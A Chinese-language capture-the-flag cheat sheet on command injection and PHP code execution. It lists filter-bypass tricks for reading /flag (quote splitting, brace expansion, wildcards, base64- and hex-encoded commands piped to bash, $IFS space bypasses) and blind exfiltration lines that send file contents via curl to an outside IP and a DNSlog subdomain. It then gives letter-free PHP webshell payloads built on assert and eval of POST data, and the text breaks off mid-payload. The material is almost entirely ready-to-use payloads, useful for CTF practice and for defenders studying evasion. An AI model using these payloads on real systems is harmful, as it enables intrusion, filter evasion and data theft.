题记:
1.linux常用命令
ls //列明当前文件目录下内容
ls ../../../ //上翻三级目录,并列明内容
cat /flag //打开flag文件
find / -name flag //查找flag文件
rar x file1.rar //解压rar包
2.过滤关键字
?name=readfile('/f'.'lag');
//readfile文件读取
?name=$a='lag';$b='/f';readfile($b.$a);
//有的题会过滤flag顺序
1.利用空字符
c''at /f""lag
cat /fl''ag
ca\t /fl\ag
ca$@t /fl\ag
ca$9t /fl\ag
2.字符串拼接
a=c;b=at;c=/flag;$a$b $c
3.花括号
花括号可以表示固定变量名
花括号可以表示两个数组的笛卡尔积
花括号笛卡尔积绕过
{c,c}{at,at} /flag
4.利用通配符绕过非命令字符串
cat /fl[0-z]g
cat /fla*
cat /fla?
5.编码
base64 -d base64解码
xxd -r -p 16进制编码转换成字符
$() 会将包裹的字符作为命令
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "636174202f666c6167" | xxd -r -p|bash
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
`printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"`
3.命令逃逸
4.绕过空格
1.数据流重定向
> 将左边的命令结果输出到右边的文件中,会覆盖
>> 将左边的命令结果输出到右边的文件中,在最后一行追加
< 将右边的文件的内容传递给左边的命令
cat</flag
cat<>/flag
2.已经存在的字符
$IFS对应 内部字段分隔符
cat${IFS}/flag
cat$IFS$9/flag
cat$IFS/flag
3.利用花括号的命令执行
{cat,/flag}
5.无回显
1.数据外带
利用日志、监听端口
curl 118.25.14.40:4444/`cat /flag`
2.利用DNSlog http://ceye.io/
curl http://`cat /flag`.4vts2m.ceye.io
6.动态执行+异构
1.无字母
$_="`{
{
{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['cl4y']);
$_="`{
{
{"^"?<>/"; $_ = '_GET'
${$_}[_] $_GET[_]
${$_}[__] $_GET[__]
${$_}[_](${$_}[__]); $_GET[_]($_GET[__]);
2.无字母数字
${(~%A0%B8%BA%AB)}[_](${(~%A0%B8%BA%AB)}[__]);&_=assert&__&#